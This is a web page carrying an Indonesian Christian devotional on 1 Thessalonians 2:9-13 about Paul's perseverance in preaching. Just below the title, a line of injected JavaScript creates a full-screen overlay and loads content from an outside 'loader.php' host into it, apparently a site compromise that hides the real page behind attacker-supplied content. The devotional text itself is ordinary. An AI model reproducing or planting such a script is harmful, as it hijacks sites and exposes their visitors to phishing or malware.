BERJUANG MEMELIHARA & MENERUSKAN

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Sabtu, 04 November 2023

1 Tesalonika 2 : 9 – 13

Pengantar

Seseorang membangun rumah dengan taman yang indah. Sayangnya kemudian dia sangat sibuk sehingga tak memiliki waktu untuk memperhatikan dan memelihara tamannya. Lama- kelamaan rumput liar dan gulma tumbuh dan taman itu pun berubah menjadi kotor dan kehilangan keindahannya. Kata orang, menciptakan itu lebih mudah daripada memeliharanya. Bibit baik yang kita tanam bila tak dipelihara akan menjadi rusak dan mati. Demikian pula karya iman.

Dalam bacaan Alkitab hari ini kita membaca tentang Rasul Paulus yang berjuang mewartakan Injil siang dan malam dalam rangka melanjutkan dan memelihara pesan Injil terus menerus. Marilah kita merenungkannya!

Pemahaman

Ayat 9        : Mengapa Paulus berjerih payah dalam memberitakan Injil?

Ayat 10-12 : Bagaimanakah kedalaman relasi Paulus dan jemaat Tesalonika?

Ayat 13 : Bagaimanakah sikap jemaat Tesalonika atas p e m b e r i t a a n F i r m a n A L L A H y a n g disampaikan Paulus?

Paulus adalah seorang Rasul yang sangat bersemangat dalam memberitakan Injil. Dalam karya pelayanannya, dia tidak pernah putus asa. Walaupun Paulus tidak mendapatkan upah dalam tugasnya sebagai rasul namun tidak menyurutkan semangatnya dalam memberitakan Injil. Dia bekerja keras siang dan malam untuk bisa memberitakan Injil dan juga memenuhi kebutuhannya.

Ia bukan hanya menyampaikan Firman TUHAN tapi juga menasihati dan menguatkan iman orang lain agar yakin dan percaya kepada TUHAN YESUS KRISTUS. Paulus mengerjakan semua tugas panggilan pelayanan ini dengan gembira dan penuh syukur. Dengan semangat dan kegigihannya dalam mewartakan Injil, sesungguhnya Rasul Paulus memelihara dan meneruskan karya TUHAN yang menyelamatkan dunia ini.

Kegigihan dan semangat Paulus ini berdampak nyata dalam kehidupan jemaat Tesalonika. Kita melihat semangat Paulus juga

menyemangati jemaat Tesalonika. Dari ayat 13, kita dapat melihat bagaimana sikap jemaat Tesalonika dalam menerima Firman TUHAN. Rasul Paulus bersyukur atas penerimaan tulus mereka terhadap Firman TUHAN. Walaupun yang memberitakan Injil itu manusia, namun mereka menerima dengan tulus dan berharga sebagai firman ALLAH.

Sesungguhnya dalam perjalanan iman diperlukan perjuangan untuk memelihara benih iman dan keselamatan agar terus bertumbuh kembang menjadi berkat bagi banyak orang. Kita menyadari bahwa kabar baik keselamatan berasal dari ALLAH dan tugas kita adalah memelihara dan meneruskannya kepada banyak orang. Semua itu kita lakukan bukan untuk nama kita tetapi demi kemuliaan TUHAN.

Marilah kita dengan gembira dan terus semangat berjuang untuk mewartakan kabar keselamatan dan kebaikan TUHAN. Mewartakan berarti memelihara dan meneruskan kebaikan TUHAN bagi orang-orang di sekitar kita.

Refleksi                                                                 

Dalam keheningan, marilah mengingat kembali perjalanan hidup Saudara sebagai orang percaya. Apakah Saudara selalu bersemangat dan bersukacita memelihara dan meneruskan kebaikan TUHAN dengan menjadi pewarta kabar baik keselamatan bagi semua orang?

Tekadku                                                               

Ya TUHAN, mampukanlah aku terus berjuang memelihara karya baik-Mu yang menyelamatkan dunia ini dengan menyediakan diri menjadi pewarta Injil-Mu bagi banyak orang.

Tindakanku                                                           

Mulai hari ini, setiap hari aku akan memikirkan satu bentuk tindakan konkret mewartakan kebaikan TUHAN yang menyelamatkan banyak orang.

This entry was posted in RENUNGAN. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *